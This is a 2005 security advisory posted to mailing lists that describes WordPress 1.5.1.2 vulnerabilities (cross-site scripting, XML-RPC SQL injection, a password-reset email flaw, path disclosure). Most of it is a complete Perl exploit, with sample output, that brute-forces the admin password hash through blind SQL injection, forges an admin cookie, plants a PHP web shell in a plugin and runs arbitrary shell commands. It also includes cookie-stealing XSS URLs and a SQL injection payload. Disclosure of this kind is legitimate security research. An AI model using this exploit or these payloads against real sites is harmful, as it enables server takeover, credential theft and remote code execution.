WordPress 1.5.1.2 && Earlier Multiple Vulnerabilities

From: GulfTech Security Research (security_at_gulftech.org)
Date: 06/29/05

  • Next message: Sune Kloppenborg Jeppesen: "[ GLSA 200506-24 ] Heimdal: Buffer overflow vulnerabilities"
    Date: Wed, 29 Jun 2005 10:29:50 -0500
    To: Secunia Research <vuln@secunia.com>, BugTraq <bugtraq@securityfocus.com>, OSVDB <moderators@osvdb.org>
    
    
    

    ##########################################################
    # GulfTech Security Research June 28th, 2005
    ##########################################################
    # Vendor : WordPress
    # URL : http://wordpress.org/
    # Version : WordPress 1.5.1.2 && Earlier
    # Risk : Multiple Vulnerabilities
    ##########################################################

    Description:
    WordPress is a very popular personal publishing platform aka blog
    software, and is used by everyone from celebrities, to government
    officials, to non technical average joe's. There are a number of
    vulnerabilities in WordPress that may allow an attacker to ultimately
    run arbitrary code on the vulnerable system. These vulnerabilities
    include SQL Injection, Cross Site Scripting, and also issues that may
    aid an attacker in social engineering. An updated version of WordPress
    is available and users are strongly advised to upgrade.

    Cross Site Scripting:
    There are a number of cross site scripting issues in the WordPress
    personal publishing platform.

    http://wordpress/wp-admin/post.php?action=confirmdeletecomment&p=1&
    comment=22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/script%3E

    http://wordpress/wp-admin/post.php?action=confirmdeletecomment&p=1
    22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/script%3E&comment=2

    Even though these vulnerabilities are in the admin section I still
    consider them a higher risk than "normal" because if an attacker has
    an admin's cookie data then he can forge a cookie, access the admin
    section, and execute arbitrary code by inserting malicious php into
    an existing plugin. Also, if you are thinking that the referrer check
    in wordpress prevents this particular vulnerability then you are mistaken.

    SQL Injection:
    WordPress comes with it's own built in XMLRPC server server, and this
    XMLRPC server is enabled by default. The problem here though is that
    a big part of WordPress preventative security measure comes from this.

    if ( !get_magic_quotes_gpc() ) {
        $_GET = add_magic_quotes($_GET );
        $_POST = add_magic_quotes($_POST );
        $_COOKIE = add_magic_quotes($_COOKIE);
        $_SERVER = add_magic_quotes($_SERVER);
    }

    This code resides in the file wp-settings.php and prevents a number of
    what would be SQL Injection attacks otherwise. However, the problem
    with this bit of code and the XMLRPC server is that the XMLRPC server
    receives it's data from the $HTTP_RAW_POST_DATA variable, and this data
    is not sanitized by magic_quotes_gpc() or the previously mentioned code.
    So, that leaves nearly every method that the XMLRPC server uses vulnerable
    to attack. The following XML file could be used to gain an admin hash.

    <?xml version="1.0"?>
    <methodCall>
    <methodName>pingback.ping</methodName>
        <params>
            <param><value><string>
            foobar' UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM wp_users
            WHERE (user_login='admin' AND MID(user_pass,1,1)='2')/*
            </string></value></param>
            <param><value><string>http://host/?p=1#1></value>
            </param><param><value><string>admin</string></value></param>
        </params>
    </methodCall>

    The above XML file would return the message "The pingback has already been
    registered" if the user admin had a password hash that starts with the
    number
    two, otherwise we get an error. This vulnerability is VERY dangerous because
    once an an attacker has admin access they can execute arbitrary php code by
    placing it within an existing plugin, and the ONLY thing an attacker
    needs to
    access the admin section is the user login name, and the password hash
    (it does
    not need to be decrypted) to place in a cookie. Also, we can likely
    abuse one
    of the login function calls within the XMLRPC server to get the same
    results
    without needing a version of MySQL that supports the UNION functionality.

    Forgotten Password Security Issues:
    I am going to make a long story short here, and get to the point. If
    register
    globals is on then an attacker may take advantage of an uninitialized
    variable
    in wp-login.php and change the content of an email sent to the user by
    WordPress.
    The problem occurs because the variable $message is never initialized before
    being used, so if an attacker abuses this then the normal forgotten password
    email message will simply be appended to the attackers message content.

    Full Path Disclosure:
    There are a number of these issues in wordpress. Below are a few examples.

    http://wordpress/wp-admin/menu-header.php
    http://wordpress/wp-atom.php?feed=1
    http://wordpress/wp-rss.php?feed=1
    http://wordpress/wp-rss2.php?feed=1

    These issues can aide an attacker in further attacks on the affected system
    by disclosing the full physical path on the affected server.

    Solution:
    A new version of WordPress has been released, and users should upgrade as
    soon as possible. The non vulnerable version is 1.5.1.3

    Related Info:
    The original advisory can be found at the following location
    http://www.gulftech.org/?node=research&article_id=00085-06282005

    Credits:
    James Bercegay of the GulfTech Security Research Team

    
    

    #!/usr/bin/perl -w
    #################################################################
    # Wordpress 1.5.1.2 Strayhorn // XMLRPC Interface SQL Injection #
    #################################################################
    # By James Bercegay // http://www.gulftech.org/ // June 21 2005 #
    #################################################################
    # Quick and dirty proof of concept that uses the XML RPC server #
    # vulnerabilities I discovered to extract a password hash & use #
    # that hash to execute shell commands on the server as httpd :) #
    #################################################################
    # Technical details of WordPress XMLRPC Interface SQL Injection #
    #################################################################
    # The vulnerability exist because all XMLRPC data is taken from #
    # the HTTP_RAW_POST_DATA variable, and never sanatized properly #
    # thus leaving the doors open for attack. Also, most if not all #
    # the functions in xmlrpc.php are vulnerable to similar attacks #
    #################################################################
    #
    # C:\Documents and Settings\James\Desktop>wp.pl http://pathto/wp admin 1 "id;uname -a;pwd;uptime"
    # [*] Trying Host http://pathto/wp ...
    # [+] The XMLRPC server seems to be working
    # [+] Char 1 is 2
    # [+] Char 2 is 1
    # [+] Char 3 is 2
    # [+] Char 4 is 3
    # [+] Char 5 is 2
    # [+] Char 6 is f
    # [+] Char 7 is 2
    # [+] Char 8 is 9
    # [+] Char 9 is 7
    # [+] Char 10 is a
    # [+] Char 11 is 5
    # [+] Char 12 is 7
    # [+] Char 13 is a
    # [+] Char 14 is 5
    # [+] Char 15 is a
    # [+] Char 16 is 7
    # [+] Char 17 is 4
    # [+] Char 18 is 3
    # [+] Char 19 is 8
    # [+] Char 20 is 9
    # [+] Char 21 is 4
    # [+] Char 22 is a
    # [+] Char 23 is 0
    # [+] Char 24 is e
    # [+] Char 25 is 4
    # [+] Char 26 is a
    # [+] Char 27 is 8
    # [+] Char 28 is 0
    # [+] Char 29 is 1
    # [+] Char 30 is f
    # [+] Char 31 is c
    # [+] Char 32 is 3
    # [+] Host : http://pathto/wp
    # [+] User : admin
    # [+] Hash : 21232f297a57a5a743894a0e4a801fc3
    # [*] Attempting to create shell ..
    # [+] Trying filename hello.php ...
    # [+] Trying to activate hello.php ...
    # [+] Trying to execute id;uname -a;pwd;uptime ...
    # [+] Successfully executed id;uname -a;pwd;uptime
    #
    # uid=1979(gulftech) gid=500(customer) groups=500(customer)
    # FreeBSD example.com 4.10-RELEASE FreeBSD 4.10-RELEASE #0: Tue Jan 1
    # 1 22:44:03 PST 2005 james@example.com:/usr/src/sys/compile/EXAMPLE i386
    #
    # /www/htdocs/wp/wp-admin
    # 8:07AM up 35 days, 20:01, 1 user, load averages: 7.98, 8.24, 8.14
    #
    #################################################################

    use LWP::UserAgent;
    use Digest::MD5 qw(md5_hex);

    my $ua = new LWP::UserAgent;
       $ua->agent("Wordpress Hash Grabber v1.0" . $ua->agent);

    my @char = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

    my $host = $ARGV[0]; # The path to xmlrpc.php
    my $user = $ARGV[1]; # The target login, default wp user is admin
    my $post = $ARGV[2]; # Must be a valid pingback or part
                                         # of an entry title, very easy to
                                             # obtain if you know how to read :)
    my $exec = $ARGV[3]; # Command to execute
    my $pref = 'wp_'; # database prefix!
    my $hash = '';

    if ( !$ARGV[2] )
    {
            die("Im Not Psychic ..\n");
    }

    print "[*] Trying Host $host ...\n";

    my $res = $ua->get($host.'/xmlrpc.php');

    if ( $res->content =~ /XML-RPC server accepts POST requests only/is )
    {
            print "[+] The XMLRPC server seems to be working \n";
    }
    else
    {
            print "[!] Something seems to be wrong with the XMLRPC server \n ";
            # Sloppy way of debugging, remove if you want
            open(LOG, ">wp_out.html"); print LOG $res->content;
            exit;
    }

    for( $i=1; $i < 33; $i++ )
    {
            for( $j=0; $j < 16; $j++ )
            {
                                    # oh my! :)
                                    my $sql = "<?xml version=\"1.0\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>foobar' UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM " . $pref . "users WHERE (user_login='$user' AND MID(user_pass,$i,1)='$char[$j]')/*</string></value></param><param><value><string>$host/?p=$post#$post</string></value></param><param><value><string>admin</string></value></param></params></methodCall>";
                                    
                                    # Remove the content type so $HTTP_RAW_POST_DATA is
                                    # populated. php.net guys, pleeeeaaase fix this! :)
                                    my $req = new HTTP::Request POST => $host . "/xmlrpc.php";
                                       $req->content($sql);
                                       $res = $ua->request($req);
                                   $out = $res->content;
                                    
                    if ( $out =~ /The pingback has already been registered/)
                    {
                        $hash .= $char[$j];
                        print "[+] Char $i is $char[$j]\n";
                        last;
                    }
                                    
            }
                    
        if ( length($hash) < 1 )
        {
                    # Sloppy way of debugging, remove if you want
                    open(LOG, ">wp_out.html"); print LOG $out;
                    
                      print "[!] $host not vulnerable? Better verify manually!\n";
                    exit;
            }
                                    if ( $out =~ /<value><int>0<\/int><\/value>/)
                                    {
                                        print "[!] Invalid post information specified! \n";
                                            exit;
                                    }
                                    
                                    # Probably exploitable, but not by using default SQL query. The
                                    # [0]{5} regex may be a bad idea bit ive never seen a md5 thats
                                    # got 5 0's at the very beginning of it.
                                    if ( $out =~ /different number of columns/is || $hash =~ /([0]{5})/ )
                                    {
                                            # Sloppy way of debugging, remove if you want
                                            open(LOG, ">wp_out.html"); print LOG $out;
                                            
                                             print "[!] The database structured has been altered, check manually \n";
                                            exit;
                                    }
                                                                    
    }

    # Verbose
    print "[+] Host : $host\n";
    print "[+] User : $user\n";
    print "[+] Hash : $hash\n";

    # We got the hash, so we are guaranteed admin
    # even if we can not successfully execute! :)
    print "[*] Attempting to create shell .. \n";

    # Here we md5 the passhash, as well as the host
    # in order to get the cookie hash, and the pass
    # hash values respectively.
    my $ckey = md5_hex($host);
       $hash = md5_hex($hash);

    # Create the cookie used to make all admin requests
    my @cookie = ('Referer' => $host.'/wp-admin/plugins.php;','Cookie' => 'wordpressuser_'.$ckey.'='.$user.'; wordpresspass_'.$ckey.'='. $hash);
       $res = $ua->get($host.'/wp-admin/plugin-editor.php', @cookie);

    # Let's get the filename from the plugin editor
    if ( $res->content =~ /<strong>(.*)\.php<\/strong>/i )
    {
            # Seems our request went okay, and we have the filename!
            my @list = ($1.'.php', 'hello.php', 'markdown.php', 'textile1.php');
            my $file;
            
            # Make it work one way or another :)
            foreach $file (@list)
            {
                    
                    print "[+] Trying filename $file ...\n";
                    $res = $ua->get($host.'/wp-admin/plugin-editor.php?file='.$file, @cookie);
                    
                    if ( $res->content =~ /<textarea[^>]*>(.*)<\/textarea>/is )
                    {
                            # This is the file contents
                            my $data = $1;
                            
                               # Quick and dirty way to fix the data recieved
                               # so that it executes and does not cause error
                               $data =~ s/&gt;/>/ig;
                               $data =~ s/&lt;/</ig;
                               $data =~ s/&quot;/"/ig;
                               $data =~ s/&amp;/&/ig;

                               
                            # We use the <cmdout> tag to make it easy to grab out command output
                            my $add = ( $data =~ /<cmdout>(.*)<\/cmdout>/is ) ? '': '<cmdout><?php if ( !empty($_REQUEST["cmd"]) ) passthru($_REQUEST["cmd"]); ?></cmdout>';
                                    
                               # Adding our php code to the selected plugin
                               $res = $ua->post($host . "/wp-admin/plugin-editor.php", ['newcontent' => $add.$data, 'action' => 'update', 'file' => $file, 'submit' => 'foobar'], @cookie);
                            
                               # Trying to activate the plugin. If the requests doesn't succeed
                               # then the command execution will fail unless the plugin has had
                               print "[+] Trying to activate $file ... \n";
                               $res = $ua->get($host.'/wp-admin/plugins.php?action=activate&plugin='.$file , @cookie);
                               
                               # Depending on the plugin this should execute
                               # our command, else we try the file directly!
                               # this works everytime on the default install
                               print "[+] Trying to execute $exec ... \n";
                           $res = $ua->get($host.'/wp-admin/plugins.php?cmd='.$exec, @cookie);
                               
                               # It seems we have executed our command successfully
                               if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )
                               {
                                          # Send results to STDOUT
                                   print "[+] Successfully executed $exec\n\n\n";
                                       print $1;
                                       exit;
                               }
                               else
                               {
                                          # No luck with that particular method, so
                                       # we will try to access the modified file
                                       print "[!] Couldnt execute command $exec\n";
                                       open(LOG, ">wp_out.html"); print LOG $res->content;
                                       
                                       # Trying to access the file directly and execute
                                       print "[!] Trying to access $file directly!\n";
                                       $res = $ua->get($host.'/wp-content/plugins/'.$file.'?cmd='.$exec, @cookie);
                                       
                                        # It seems we have executed our command successfully
                                       if ( $res->content =~ /<cmdout>(.*)<\/cmdout>/is )
                                       {
                                                  # Send results to STDOUT
                                       print "[+] Successfully executed $exec\n\n\n";
                                           print $1;
                                                  exit;
                                       }
                                       else
                                       {
                                                  # No luck, better take a look at things manually
                                           print "[!] Couldnt execute command $exec\n";
                                               print "[*] Try $host/wp-content/plugins/$file manually\n";
                                       }
                               }
                    }
                    else
                    {
                            # Unable to get the file contents
                            print "[!] Could not read file $file \n";
                            open(LOG, ">wp_out.html"); print LOG $res->content . $file;
                    }
            
            }
            
    }
    else
    {
            # Unable to get the plugin information
            print "[!] Could Not Get Plugin Information\n";
            open(LOG, ">wp_out.html"); print LOG $res->content;
    }

    # fin
    exit;


  • Next message: Sune Kloppenborg Jeppesen: "[ GLSA 200506-24 ] Heimdal: Buffer overflow vulnerabilities"

    Relevant Pages